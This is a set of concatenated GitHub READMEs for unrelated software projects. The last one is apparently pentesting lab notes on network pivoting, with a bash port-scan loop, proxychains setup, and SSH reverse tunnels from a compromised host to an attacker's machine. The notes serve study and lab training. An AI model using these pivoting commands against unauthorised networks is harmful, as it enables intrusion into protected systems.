text:
# biogridr
biogridr: BioGRID R API

## Synopsis

Biogridr provides an R interface to the BioGRID (Biological General Repository for Interaction Datasets) REST API [described here](Biological General Repository for Interaction Datasets). It aims to provide convenient and reproducible ways to query and access BioGRID data.

## Install

```r
# install.packages("devtools")
devtools::install_github("npjc/biogridr")
```

## Get started

```r
library(biogridr)
```

To talk to BioGRID we first need to get a free access key. For this use
`bg_get_key()`. If you provide your details as in below it creates a profile
for you and assigns a key (or if you have already done this before it retreives the key). `bg_get_key()` will store you key so you only need to run it once at the beginning of each session. This is equivalent to interactively doing this via [this form](http://webservice.thebiogrid.org/)

```r
bg_get_key("first_name","last_name","email@domain.com","my_project_name")
```

To query for interactions you would do:
```r
bg("interactions") %>%
  bg_constrain(taxId = 7227) %>%
  bg_get_results()
```

where `taxId = 7227` constrains the results returned to those associated with Drosophila melanogaster. If you want to be kind to future you or can't remember the taxonomic id for your organism of interest use `taxId()`. It will retrieve the identifier (or return all allowed organisms and their identifiers; see `?taxId`). This is equivalent to the above:
```r
bg("interactions") %>%
  bg_constrain(taxId = taxId("Drosophila melanogaster")) %>%
  bg_get_results()
```

Another query might be against a list of genes:
```r
z <- bg("interactions") %>%
  bg_constrain(geneList = "HP1|HP1a|HP1b|HP1c") %>%
  bg_get_results()
```

repository: npjc/biogridr

repo_name: npjc/biogridr


text:
# coderwall-java        [![Build Status](https://travis-ci.org/caseydunham/coderwall-java.png?branch=master)](https://travis-ci.org/caseydunham/coderwall-java)

Simple Java API library for coderwall.com

## Usage

This project uses maven. A jar file can be built by running

    mvn package

from the command line

## License

The MIT License

Copyright (c) 2012 Casey Dunham<EMAIL_ADDRESS>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

 IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

## Authors

*  Casey Dunham [![endorse](http://api.coderwall.com/caseydunham/endorse.png)](http://coderwall.com/caseydunham)
*  Florian Mierzejewski [![endorse](http://api.coderwall.com/florianmski/endorse.png)](http://coderwall.com/florianmski)

license: MIT

repository: caseydunham/coderwall-java

branch_name: refs/heads/master

extension: md

gha_language: Java

license_type: permissive

repo_name: caseydunham/coderwall-java


text:
# Personal Server

This repository contains the docker containers and `docker-compose.yml`'s required to launch my personal server. Applications hosted by this server can be found at [apps.samabbott.co.uk](https://apps.samabbott.co.uk), although the server is designed to serve users from [samabbott.co.uk/#projects](https://www.samabbott.co.uk/#projects). It makes use of the following services,

- [Shinyproxy](https://www.shinyproxy.io)
- [Rstudio server (via rocker)](https://hub.docker.com/r/rocker/tidyverse/)
- [Jenkins](https://jenkins.io)
- [Nginx](http://nginx.org)
- [LetsEncrypt](https://letsencrypt.org)
- [Watchtower](https://github.com/v2tec/watchtower)

Modification to another use case should be straightforward. Any suggestions for improvements are welcome.

## Set-up

The server can be launched using the following `bash` commands (implemented in the `set-up-server.sh` bash script) once the secrets folder has been setup as required.

- Clone this repository into a docker and docker-compose enabled environment.

```bash
git clone https://github.com/seabbs/personal-server.git
```
-  Add required secrets to the `secrets` folder. Subdirectories are named based on the container they provide secrets for. Required container secrets are listed in `containers/docker-compose.yml`

- Add docker network

```bash
docker network create shinyproxy-net
```

- Pull all images.

```bash
 docker-compose -f containers/docker-compose.yml pull --ignore-pull-failures
```

- Build all images.

```bash
 docker-compose -f containers/docker-compose.yml build
```

- Change permissions for Jenkins

```bash
sudo chown -R 1000:1000 secrets/jenkins
```

- Launch all services

```bash
 docker-compose up -d
```

There should now be a shinyproxy instance at `8080` , a jenkins instance at `9090`, and an Rstudio instance at `8888`.

## Scheduled jobs

The Jenkins instance (found at `localhost:9090`) is used to run scheduled docker containers. Currently these jobs are;

- Run the [`h2o` StackOverflow Twitter bot](https://github.com/seabbs/h2o_tweets) every 15 minutes (`H/15 * * * *`) with,

```bash
cd ../../..
sudo docker-compose -f personal-server/containers/docker-compose.yml run h2o_tweets bash bin/run_h2o_bot.sh
```

- Run the second [summary `h2o` StackOverflow Twitter bot](https://github.com/seabbs/h2o_tweets) every month (`H 0 01 * *`) with,

```bash
cd ../../..
sudo docker-compose -f personal-server/containers/docker-compose.yml run h2o_tweets bash bin/run_h2o_monthly_bot.sh
```

- Run the [Rstudio Cheatsheet Twitter Bot](https://github.com/seabbs/TweetRstudioCheatsheets) once a day (`H 0 * * *`) with,

```bash
cd ../../..
sudo docker-compose -f personal-server/containers/docker-compose.yml run tweetrstudiocheatsheets Rscript bot.R
```

- Back up the server storage once a day (`H 1 * * *`) to a Google bucket with,

```bash
cd ../../..
sudo bash personal-server/push_to_bucket.sh
```

## Connecting to the server

If properly configured the Shinyproxy instance can be found at [apps.samabbott.co.uk](http://apps.samabbott.co.uk), with the Rstudio instance at [rstudio.samabbott.co.uk](https://rstudio.samabbott.co.uk) (password controlled via `secrets`). In order to access the Jenkins server connect over ssh, forwarding `9090`. Similarly both the ShinyProxy instance and the Rstudio instance may also be accessed using port forwarding (`8080` and `8888` respectively).

## Updating

To update containers use `docker-compose -f containers/docker-compose.yml pull <container-name>` to update built images and `docker-compose -f containers/docker-compose.yml build <container-name>` to update container builds. Then bring down the running container using `docker-compose down <container-name>` and relaunch it using `docker-compose up <container-name>`. Alternatively a [Watchtower container](https://github.com/v2tec/watchtower) is monitoring the available images and every hour will refresh the running images with any newly available images. Before updating the Jenkins container be sure to back up the jenkins folder using `bash push_to_bucket.sh`.

## Future developments

See the [GitHub issues](https://github.com/seabbs/personal-server/issues) for planned bug fixes and enhancements. Any suggestions or bug reports are welcome.

repository: seabbs/personal-server

gha_language: Dockerfile

gha_license_id: MIT

repo_name: seabbs/personal-server


text:
Building PhotonJS
========

1.  Install [NodeJS](http://nodejs.org)

2.  Execute the folloing in a terminal:

mkdir PhotonJS
cd PhotonJS
git clone https://github.com/suedama1756/PhotonJS.git Lib
git clone https://github.com/suedama1756/PhotonJS.Build.git Build
cd Lib/build
sh ./build.sh
cd ../output
ls


text:
# AccName Comparison App
This is a Node.js app that allows users to compare implementations of the [Accessible Name Computation algorithm](https://www.w3.org/TR/accname-1.1/#step1).

The purpose of this app is to identify disparities between different implementations.

## Implementations Included
- [Chrome DevTools](https://chromedevtools.github.io/devtools-protocol/tot/Accessibility/)
- [Deque Labs' Axe](https://github.com/dequelabs/axe-core/blob/9066900f322dd90f8b1e48cd16c39b9758e47e64/lib/commons/text/accessible-text-virtual.js#L20)
- [Accessibility Object Model](https://wicg.github.io/aom/)
- [Bryan Garaventa’s Prototype](https://github.com/WhatSock/w3c-alternative-text-computation/blob/master/docs/Sample%20JavaScript%20Recursion%20Algorithm/recursion.js)
- [AccName](https://github.com/googleinterns/accessible-name)

## Running the app
Run the following commands in terminal:
```
git clone https://github.com/googleinterns/accessible-name.git
cd accessible-name/validation/
npm install
npm run serve
```
Then visit `http://localhost:3000/` to use the app.

## Main Features

### HTML Snippet Comparison
- Enter a HTML snippet containing a `target element`, marked as such by the presence of an `ac` attribute.
- Upon clicking the 'Run Comparison' button, each of the implementations will be run on this `target element`, and their outputs will be displayed in a table below.

### Web-Page Comparison
- Enter a URL into the input text-box.
- A comparison will be run on each node in the document of the web-page referenced by the URL provided.
- A summary of these comparisons will appear once all comparisons are complete.


text:
---
layout: post
title: Design Principles
---

**Well designed code is when it is easy to maintain, reuse, extend and read**

Other ideas:
  - Don't have to change as much ie change only in one place
  - Manging dependencies, reducing coupling
  - High cohesion, low coupling
  - code/software is not fraglie, rigid
  - design only matters when you want to change it

Why?

In short, **because everything changes**. Thus need to change code, match these changes.

The following principles below will help in producing well designed code.

As time progresses, I will write a blog post(s) for each one with code examples.

There will be conflict between some of these, but the aim of an engineer is not to implement everything only to make the code better designed.

Sometimes these rules can be broken, as Sandi Metz says:

`“You should break these rules only if you have a good reason or your pair lets you.”`

### Sandi Metz Rules

- Classes can be no longer than one hundred lines of code.
- Methods can be no longer than five lines of code.
- Pass no more than four parameters into a method.
  - Hash options are parameters.
- Controllers can instantiate only one object. Therefore, views can only know about one instance variable and views should only send messages to that object (@object.collaborator.value is not allowed).

### SOLID Principles

- Single Responsibility Principle (SRP)
  - A class should have only one reason to change
- Open/closed principle (OCP)
- Liskov substitution principle (LSP)
- Interface segregation principle (ISP)
- Dependency inversion/Injection principle (DIP)

### General Principles

- DRY (Don't Repeat Yourself)
- KISS (Keep It Simple Silly)
- YAGNI (You Are Not Gonna Need It)
- Delegate, Delegate, Delgate (Ask, Dont Tell)
- Composition over Inheritence
- Law of Demeter
- Encapsulate Change
- Programming for Interface not implementation
- Aim for High Cohesion and Loose Coupling


text:
dspacelabs/http-message [![Build Status](https://travis-ci.org/dSpaceLabs/http-message.svg?branch=master)](https://travis-ci.org/dSpaceLabs/http-message)
=======================

This is a simple, very basic implementation of the PSR-7 standard. This library
does not come with a client and only deals with the messages.

## Installation

```bash
composer require dspacelabs/http-message
```

## Examples

### Creating URIs

```php
use Dspacelabs\Component\Http\Message\Uri;

$uri = (new Uri())
    ->withScheme('http')
    ->withHost('www.example.com');
```

If you want something less verbose, you can also pass in the URL when creating
new Uri objects.

```php
use Dspacelabs\Component\Http\Message\Uri;

$uri = new Uri('http://www.example.com');
```

### Creating Requests

```php
use Dspacelabs\Component\Http\Message\Uri;
use Dspacelabs\Component\Http\Message\Request;

$request = new Request();
$request
    ->withMethod('GET')
    ->withUri(new Uri('http://www.example.com'));

```

### Creating Responses

```php
use Dspacelabs\Component\Http\Message\Response;

$resposne = new Response();
$response
    ->withStatus(200, 'OK');
```

## Testing

Testing is done with PHPUnit and Phing. Once you make updates, run the command

```bash
./vendor/bin/phing
```

And this will run PHPUnit and give you test results.

repository: dSpaceLabs/http-message

repo_name: dSpaceLabs/http-message


text:
# wireguard - vpn

## first run

If the wireguard kernel module is not already installed on the host system, use this first run command to install it:

```bash
docker run -it --rm --cap-add sys_module -v /lib/modules:/lib/modules cmulk/wireguard-docker:buster install-module
```

## generate keys

```bash
docker-compose run --rm vpn genkeys
```

## configuration

Copy server.conf to ./srv/data/etc/wireguard and edit private and public keys.

## add clients

Generate new keys and add them to the server config.

```bash
[Peer]
PublicKey = <client_public_key>
AllowedIPs = 10.0.42.x
```

Edit wg0.conf and copy it to the clients computer.

## connect

```bash
wg-quick up wg0.conf
```

## disconnect

```bash
wg-quick down wg0.conf
```

repository: chriamue/home-server

repo_name: chriamue/home-server


text:
# bhima-demo-screenshots
Set of scripts to take screenshots of different BHIMA screens.  You need to set the chrome path
and the site address in the `.env` file.

### Installation
```sh
yarn
```

### Usage
```sh
yarn start
```

### LICENSE
MIT

repository: IMA-WorldHealth/bhima-demo-screenshots

gha_language: JavaScript

repo_name: IMA-WorldHealth/bhima-demo-screenshots


text:
## documentation

---

#### on this page...

* [intro](#intro)
* [flow](#flow)
* [opac/catalog javascript](#opac_cat_js)
* [python code](#python_code)
* [acknowledgements](#acknowledgements)
* [contact information](#contact_info)

---

#### intro...

This page documents the Brown Library's work enabling a user of our [III-vendor](http://www.iii.com) library OPAC ("[Classic Josiah](http://josiah.brown.edu)") to add a citation to [RefWorks](http://refworks.com).

(Note: our main catalog is now outside the web-opac display, but these instructions are III specific.)

This implementation uses javascript and python.

---

#### flow...

- User's view...
    - user clicks on 'Add To RefWorks' button on catalog bib-item page
    - a RefWorks window appears, the user logs in if necessary, and the citation is added

- Behind the scenes...
    - before the user-click (when the catalog page is loaded), javascript:
        - grabs the bib number
        - creates a url to refworks, like [this](http://www.refworks.com/express/ExpressImport.asp?vendor=Marc%20Format&url=http%3A%2F%2Flibrary.brown.edu%2Faddto_refworks%2Fv2%2Fmarc%2Fb4069600%2F) which includes the bib-number
            - this url is to a refworks ingestion url; it includes, as a parameter, a data-source url
        - attaches that url to an 'Add To RefWorks' image-button
    - on the 'Add To RefWorks' user-click, the user's browser hits the refworks url
    - before the refworks window opens, refworks tries to get the data to be ingested from the data-source url-parameter. [Here](http://library.brown.edu/addto_refworks/v2/marc/b4069600/) is an example of the url that refworks follows to get the item data. Note that unlike the url _to_ refworks, refworks doesn't care at all about the format of the data-source url -- it just wants to follow it and get data back in a specific format.
    - that data-source url goes, as shown above, to a library.brown.edu web-service, which is now written in python but could be written in anything
    - the web-service sees the bib-number, and accesses the 'coded-display' opac page ([example](http://josiah.brown.edu/search~S7?/.b4069600/.b4069600/1%2C1%2C1%2CB/marc~b4069600)), which contains the marc data, embedded in cruft
    - the web-service extracts the marc-data from the html, and sends the clean marc data back to refworks -- so from refworks' point of view, the data-source url simply returns good marc data, which refworks ingests
    - refworks brings up it's user interface, and shows the data it just ingested, giving the user the opportunity to edit it

---

#### opac/catalog javascript

The refworks javascript in the bib-item page does three different things, as noted above:
- it grabs the bib number
- it creates the full url to refworks
- it makes the 'Add To RefWorks' button appear on the bib-item page (as opposed to pages with multiple items), with the refworks url attached

Regarding the 'Add To RefWorks' button, our implementation currently requires that the button image be displayed even on pages which display multiple items (we have to use the `EBADDRESS` field). Since the code is designed only to work with individual items, we 'hide' the default 'Add To RefWorks' button by making it a 1-pixel transparent button image. When the user accesses a page which only displays a single item,  javascript replaces the 1-pixel button image with the correct 'Add To RefWorks' button image. Sites that are able to tie the 'Add To RefWorks' button to the `WEBADDRESS` field may not require this part of the javascript code. _(Note: this may be outdated -- the javascript may more intelligently build the image-link button now. Maybe not.)_

###### opac/catalog details

The III catalog requires that javascript and html code go in specific fields accessible via the Millennium Client in Administrator mode. Where code should go in order to appear in the desired page is not always... easily discernable.

Some pieces that need to be set...
- the main javascript code
- the code that specifies the 'recordnum' id
- the code that references blank.gif
- the code that references refworks.gif

Detailed information on each of these pieces follows. The information below is presented from the perspective: "Where should code be entered into the OPAC (and what exactly should be entered) in order to get the final html-output that works?"

###### Piece: main javascript code

- the code itself can be found in this repo, specifcally, [here](https://github.com/birkin/addto_refworks/blob/master/utils/josiah_to_refworks_v2.js) -- this will at some point be moved to the main [Brown Library github repo](https://github.com/Brown-University-Library)

- the code referencing the main JavaScript...

- this code is entered via the Millennium client via `Administration \-> Web Master`, and selecting the appropriate file in the list. To know which file it is that requires editing, view the entry in `Administration \-> Web Options \-> General Display and Behavior \-> TOPLOGO`. The file named there is the file that should be edited in the `Web Master` list. _(actually, we now have it in the footer -- Bonnie, what's the footer file called?)_

- this footer appears on all single-list and multiple-list pages.

###### Piece: 'id=recordnum' reference

- this reference appears in the source code as:

Permanent link to this record

- this is set via the Millennium Client via `Admin \-> Web Options \-> Record Displays`, in the `ICON_RECORDLINK` field.

- the code that goes in this field is:

Permanent Link to this Record

- this _only_ appears in the single-list view. The javascript which displays the 'Add To RefWorks' button looks for this id to determine if the button should be displayed.

###### Piece: 'blank.gif' reference

- the blank.gif is referenced in the code as (full html line not shown):

- the code is set from the Millennium client via `Administration \-> Web Options \-> Content Linking and Other Resources` and editing the `BUT_ENCYCPD` field. Our code in this field:

        /screens/blank.gif

- the actual image file can be accessed from the Millennium client via `Administration \-> Web Master`, and selecting the `blank.gif` item in the list

- note that Ryerson University specified the creation of a transparent gif the same size as the RefWorks gif, different from our 1-pixel transparent gif

###### Piece: 'refworks.gif' button reference

- the `btn_refworks.gif` image-reference 'Add To RefWorks' button is in our josiah_to_refworks_v2.js file [here](https://github.com/birkin/addto_refworks/blob/f55b00da997f3972bdce3f19ed296376db994383/utils/josiah_to_refworks_v2.js#L66)

- The `btn_refworks.gif` file does not need to be referenced in any Millennium Client `Web Options` field; if desired, it can be accessed via the Millennium Client via `Administration \-> Web Master`, and selecting the gif in the list.

---

#### python code

The python webservice that refworks hits is written in [Flask](http://flask.pocoo.org), a terrific lightweight web-framework.

The webservice part of the code is [here](https://github.com/birkin/addto_refworks/blob/f55b00da997f3972bdce3f19ed296376db994383/refworks_app.py#L28) -- it calls [helper](https://github.com/birkin/addto_refworks/blob/f55b00da997f3972bdce3f19ed296376db994383/utils/app_helper.py) code that hits the correct opac coded-display page, and parses the marc data out of the html.

---

#### Acknowledgements

- Jean Rainwater, Head, Integrated Technology Services, Brown University for making this a department goal

- Bonnie Buzzell, Senior Knowledge Systems Librarian, Integrated Technology Services, Brown University, for wonderful knowledge of the III OPAC innards

- [RefWorks](http://refworks.com)
    - for embracing so many standards, and in particular for their MARC import filter, obviating the need for many, many lines of code translating MARC data into RefWorks Tagged Format
    - for RefWorks document: `Linking an Innovative Web OPAC to RefWorks (via Direct Export) (2005)`

- Others
    - [Ryerson University Library](http://innopac.lib.ryerson.ca/), for documenting their javascript and ColdFusion implementation in the above document. Though our architecture is different from Ryerson University's ColdFusion implementation, their logic was useful to start from, and we initially used their javascript nearly untouched.
    - Bob Duncan, Lafayette College, and Hong Zhang, UNLV, for notes regarding Millennium Release 2007.

---

#### contact information

- [Birkin James Diana](mailto:birkin_diana@brown.edu), Digital Library Programmer, Integrated Technology Services Department, Brown University Library

- [Bonnie Buzzell](mailto:bonnie_buzzell@brown.edu), Senior Knowledge Systems Librarian, Integrated Technology Services Department, Brown University Library

---

---


text:
# zipangu (development version)

* `find_date_by_wday()`, `jholiday_spec()`, `jholiday()`, and `is_jholiday()`
  are now vectorized and accept multiple `year`s (@yutannihilation, #15).

# zipangu 0.2.0

* Added several functions to handle postal code data.
    * `read_zipcode()` to read Japan post's zip-code file and `dl_zipcode_file()` for raw file download.
    * `is_zipcode()` test zip-code. Only supports 7-digit numbers or characters.
    * `zipcode_spacer()` insert and remove zip-code connect character.
* `str_jconv()` and `str_conv_*()` converts the kind of string used as Japanese people.
* Added some functions related to Japanese holidays.
    * `jholiday_spec()` to find date from corresponding year and holiday name and `jholiday()` is used to look up a list of holidays for the year.
    * `is_jholiday()` whether the day is a holiday.
* Find out the date of the specific month and weekday (`find_date_by_wday()`)

# zipangu 0.1.0

* Added a `NEWS.md` file to track changes to the package.

repository: Gedevan-Aleksizde/zipangu

repo_name: Gedevan-Aleksizde/zipangu


text:
# docker-java-maven-protobuf
A Docker container with Java, Maven and Protobuf.

## Why?
Products like [gitlab.com](https://www.gitlab.com) offer CI pipelines. This container
provides a build environment for a typical Java project, which also happens to use Protobuf.

repository: adbourne/docker-java-maven-protobuf

repo_name: adbourne/docker-java-maven-protobuf


text:
# Pivoting
## Table of Contents
- [Pivoting](#pivoting)
  * [Manual Techniques](#manual-techniques)
    + [Pros and cons](#pros-and-cons)
    + [Enumeration](#enumeration)
  * [Basic Checks](#basic-checks)
      - [Proxy Note:](#proxy-note-)
  * [LOL Techniques](#lol-techniques)
    + [Port scanning in bash can be done:](#port-scanning-in-bash-can-be-done-)
  * [Proxychains and FoxyProxy](#proxychains-and-foxyproxy)
    + [Proxychains](#proxychains)
      - [Other things to note when scanning through proxychains:](#other-things-to-note-when-scanning-through-proxychains-)
      - [Examples](#examples)
    + [FoxyProxy](#foxyproxy)
  * [SSH Tunnelling and Port Forwarding](#ssh-tunnelling-and-port-forwarding)
    + [Forward Connections](#forward-connections)
    + [Reverse Connections](#reverse-connections)
      - [Make it safe](#make-it-safe)
      - [Note](#note)
      - [Examples](#examples-1)
  * [Plink.exe](#plinkexe)
      - [Note plink.exe](#note-plinkexe)
  * [Socat](#socat)
    + [Reverse Shell Relay](#reverse-shell-relay)
    + [Port Forwarding -- Easy](#port-forwarding----easy)
    + [Port Forwarding -- Quiet](#port-forwarding----quiet)
      - [Killing Jobs](#killing-jobs)
  * [Chisel](#chisel)
    + [Chisel Reverse SOCKS Proxy:](#chisel-reverse-socks-proxy-)
    + [Forward SOCKS Proxy:](#forward-socks-proxy-)
      - [Proxychains Reminder:](#proxychains-reminder-)
    + [Chisel Remote Port Forward:](#chisel-remote-port-forward-)
    + [Chisel Local Port Forward:](#chisel-local-port-forward-)
  * [SShuttle](#sshuttle)
    + [Limitations](#limitations)
      - [Final Command](#final-command)
      - [Errors](#errors)
      - [Sources](#sources)

![alt text](https://assets.tryhackme.com/additional/wreath-network/6904b85a9b93.png)
## Manual Techniques
- There are two main methods encompassed in this area of pentesting:
- Tunnelling/Proxying: Creating a proxy type connection through a compromised machine in order to route all desired traffic into the targeted network. This could potentially also be tunnelled inside another protocol (e.g. SSH tunnelling), which can be useful for evading a basic Intrusion Detection System (IDS) or firewall
- Port Forwarding: Creating a connection between a local port and a single port on a target, via a compromised host
### Pros and cons
- A proxy is good if we want to redirect lots of different kinds of traffic into our target network -- for example, with an nmap scan, or to access multiple ports on multiple different machines.
- Port Forwarding tends to be faster and more reliable, but only allows us to access a single port (or a small range) on a target device.
- It would be sensible at this point to also start to draw up a layout of the network as you see it
- As a general rule, if you have multiple possible entry-points, try to use a Linux/Unix target where possible, as these tend to be easier to pivot from. An outward facing Linux webserver is absolutely ideal.
### Enumeration
- There are five possible ways to enumerate a network through a compromised host:
- Using material found on the machine. The hosts file or ARP cache, for example
- Using pre-installed tools
- Using statically compiled tools
- Using scripting techniques
- Using local tools through a proxy
## Basic Checks
- Win and Lin see the arp cache
````
arp -a
````
- Static mapping Lin/Win
````
/etc/hosts
C:\Windows\System32\drivers\etc\hosts
````
- Local DNS server (zone transfer?)
````
/etc/resolv.conf
````
- Lin/Win ip address, interfaces, gateway etc
````
ipconfig /all
ip addr
````
- Alternative to reading /etc/resolv.conf
````
nmcli dev show
````
#### Proxy Note:
- Finally, the dreaded scanning through a proxy. This should be an absolute last resort, as scanning through something like proxychains is very slow, and often limited (you cannot scan UDP ports through a TCP proxy, for example).
- The one exception to this rule is when using the Nmap Scripting Engine (NSE), as the scripts library does not come with the statically compiled version of the tool.
- As such, you can use a static copy of Nmap to sweep the network and find hosts with open ports, then use your local copy of Nmap through a proxy specifically against the found ports.
## LOL Techniques
- The following Bash one-liner would perform a full ping sweep of the `192.168.1.x` network:
````
for i in {1..255}; do (ping -c 1 192.168.1.${i} | grep "bytes from" &); done
````
- The equivalent of this command in Powershell is unbearably slow, so it's better to find an alternative option where possible.
- If you suspect that a host is active but is blocking ICMP ping requests, you could also check some common ports using a tool like netcat.
### Port scanning in bash can be done:
````
for i in {1..65535}; do (echo > /dev/tcp/<IP_ADDRESS>/$i) >/dev/null 2>&1 && echo $i is open; done
````
## Proxychains and FoxyProxy
- Think of this as being something like a tunnel created between a port on our attacking box that comes out inside the target network
### Proxychains
- Proxychains can often slow down a connection: performing an nmap scan through it is especially hellish.
- Ideally you should try to use static tools where possible
- For example, to proxy netcat  through a proxy, you could use the command:
````
proxychains nc <IP_ADDRESS> 23
````
- `proxychains` reads its options from a config file. The master config file is located at `/etc/proxychains.conf`.
- This is where proxychains will look by default; however, it's actually the last location where proxychains will look. The locations (in order) are:
The current directory (i.e. `./proxychains.conf`)
````
~/.proxychains/proxychains.conf
/etc/proxychains.conf
````
-  It's extremely easy to configure proxychains for a specific assignment, without altering the master file.
-  Simply execute: `cp /etc/proxychains.conf .`, then make any changes to the config file in a copy stored in your current directory.
-  If you're likely to move directories a lot then you could instead place it in a `.proxychains` directory under your home directory
- If you mess up the master copy, redownload:
- https://raw.githubusercontent.com/haad/proxychains/master/src/proxychains.conf
- The only section we care about right now is:
- ![alt text](https://assets.tryhackme.com/additional/wreath-network/443c865e3ff3.png)
- By default there is one proxy set to localhost port 9050 -- this is the default port for a Tor entrypoint, should you choose to run one on your attacking machine.
- That said, it is not hugely useful to us. This should be changed to whichever (arbitrary) port is being used for the proxies
- There is one other line in the Proxychains configuration that is worth paying attention to, specifically related to the Proxy DNS settings:
- ![alt text](https://assets.tryhackme.com/additional/wreath-network/3af17f6ddafc.png)
- If performing an Nmap scan through proxychains, this option can cause the scan to hang and ultimately crash. Comment out the `proxy_dns` line
#### Other things to note when scanning through proxychains:
- You can only use TCP scans -- so no UDP or SYN scans. ICMP Echo packets (Ping requests) will also not work through the proxy, so use the  -Pn  switch to prevent Nmap from trying it.
- It will be extremely slow. Try to only use Nmap through a proxy when using the NSE (i.e. use a static binary to see where the open ports/hosts are before proxying a local copy of nmap to use the scripts library).
#### Examples
- Line addition to `proxychains.conf` to redirect through sock4 proxy
````
socks4 <IP_ADDRESS> 4242
````
- Telnet through a proxy to target
````
proxychains telnet <IP_ADDRESS> 23
````
### FoxyProxy
- Proxychains is an acceptable option when working with CLI tools, but if working in a web browser to access a webapp through a proxy, there is a better option available
- ![alt text](https://assets.tryhackme.com/additional/wreath-network/c22f2ef3d6fc.png)
- ![alt text](https://assets.tryhackme.com/additional/wreath-network/92e3cabe22e8.png)
- Fill in the IP and Port on the right hand side of the page that appears, then give it a name. Set the proxy type to the kind of proxy you will be using. SOCKS4 is usually a good bet, although Chisel requires SOCKS5. An example config is given here:
- ![alt text](https://assets.tryhackme.com/additional/wreath-network/19436164d15e.png)
- Press Save, then click on the icon in the task bar again to bring up the proxy menu. You can switch between any of your saved proxies by clicking on them:
- ![alt text](https://assets.tryhackme.com/additional/wreath-network/1d91c2b6a625.png)
- Once activated, all of your browser traffic will be redirected through the chosen port (so make sure the proxy is active!).
- Be aware that if the target network doesn't have internet access then you will not be able to access the outside internet when the proxy is activated.
- Even in a real engagement, routing your general internet searches through a client's network is unwise
## SSH Tunnelling and Port Forwarding
### Forward Connections
- Creating a forward (or "local") SSH tunnel can be done from our attacking box when we have SSH access to the target.
- There are two ways to create a forward SSH tunnel using the SSH client -- port forwarding, and creating a proxy.
- Port forwarding is accomplished with the `-L` switch, which creates a link to a Local port. For example, if we had SSH access to `<IP_ADDRESS>` and there's a webserver running on `<IP_ADDRESS>`, we could use this command to create a link to the server on `<IP_ADDRESS>`:
````
ssh -L 8000:<IP_ADDRESS>:80<EMAIL_ADDRESS>-fN
````
- We could then access the website on `<IP_ADDRESS>` (through `<IP_ADDRESS>`) by navigating to port `8000` on our own attacking machine.
- For example, by entering `localhost:8000` into a web browser.
- Using this technique we have effectively created a tunnel between port `80` on the target server, and port `8000` on our own box. Note that it's good practice to use a high port, out of the way, for the local connection.
- This also means that we do not need to use `sudo` to create the connection. The `-fN` combined switch does two things: `-f` backgrounds the shell immediately so that we have our own terminal back. `-N` tells SSH that it doesn't need to execute any commands -- only set up the connection.
###Proxies
- These are made using the `-D` switch, for example: `-D 1337`. This will open up port `1337` on your attacking box as a proxy to send data through into the protected network. This is useful when combined with a tool such as `proxychains`.
- An example of this command would be:
````
ssh -D 1337<EMAIL_ADDRESS>-fN
````
This again uses the `-fN` switches to background the shell. The choice of port `1337` is completely arbitrary -- all that matters is that the port is available and correctly set up in your proxychains (or equivalent) configuration file. Having this proxy set up would allow us to route all of our traffic through into the target network.
### Reverse Connections
- Reverse connections are very possible with the SSH client (and indeed may be preferable if you have a shell on the compromised server, but not SSH access).
- They are, however, riskier as you inherently must access your attacking machine from the target
#### Make it safe
- First, generate a new set of SSH keys and store them somewhere safe `ssh-keygen`
- Copy the contents of the public key (the file ending with .pub), then edit the ~/.ssh/authorized_keys file on your own attacking machine. You may need to create the ~/.ssh directory and authorized_keys file first.
- On a new line, type the following line, then paste in the public key:
````
command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-x11-forwarding,no-pty
````
- This makes sure that the key can only be used for port forwarding, disallowing the ability to gain a shell on your attacking machine.
- The final entry in the authorized_keys file should look something like this:
- ![alt text](https://assets.tryhackme.com/additional/wreath-network/055753470a05.png)
- Next. check if the SSH server on your attacking machine is running:
````
sudo systemctl status ssh
````
- The only thing left is to do the unthinkable: transfer the private key to the target box.
- With the key transferred, we can then connect back with a reverse port forward using the following command:
````
ssh -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -fN
````
- To put that into the context of our fictitious IPs: `<IP_ADDRESS>` and `<IP_ADDRESS>`, if we have a shell on `<IP_ADDRESS>` and want to give our attacking box (`<IP_ADDRESS>`) access to the webserver on `<IP_ADDRESS>`, we could use this command on the `<IP_ADDRESS>` machine:
````
ssh -R 8000:<IP_ADDRESS>:80<EMAIL_ADDRESS>-i KEYFILE -fN
````
- This would open up a port forward to our Kali box, allowing us to access the `<IP_ADDRESS>` webserver, in exactly the same way as with the forward connection we made before!
#### Note
- In newer versions of the SSH client, it is also possible to create a reverse proxy (the equivalent of the -D switch used in local connections).
- This may not work in older clients, but this command can be used to create a reverse proxy in clients which do support it:
````
ssh -R 1337 USERNAME@ATTACKING_IP -i KEYFILE -fN
````
- To close any of these connections, type ps aux | grep ssh into the terminal of the machine that created the connection:
- ![alt text](https://assets.tryhackme.com/additional/wreath-network/daf8fd5c8540.png)
- Find the process ID (PID) of the connection. In the above image this is 105238.
- Finally, type sudo kill PID to close the connection:
- ![alt text](https://assets.tryhackme.com/additional/wreath-network/dc4393e7991e.png)
#### Examples
- If you wanted to set up a reverse portforward from port `22` of a remote machine (`<IP_ADDRESS>`) to port `2222` of your local machine (`<IP_ADDRESS>`), using a keyfile called `id_rsa` and backgrounding the shell, what command would you use? (Assume your username is "kali")
````
ssh -R 2222:<IP_ADDRESS>:22<EMAIL_ADDRESS>-i id_rsa -fN
````
- What command would you use to set up a forward proxy on port `8000` to<EMAIL_ADDRESS>backgrounding the shell?
````
ssh -D 8000<EMAIL_ADDRESS>-fN
````
- If you had SSH access to a server (`<IP_ADDRESS>`) with a webserver running internally on port `80` (i.e. only accessible to the server itself on `<IP_ADDRESS>:80`), how would you forward it to port `8000` on your attacking machine? Assume the username is `user`, and background the shell.
````
ssh -L 8000:<IP_ADDRESS>:80<EMAIL_ADDRESS>-fN
````
## Plink.exe
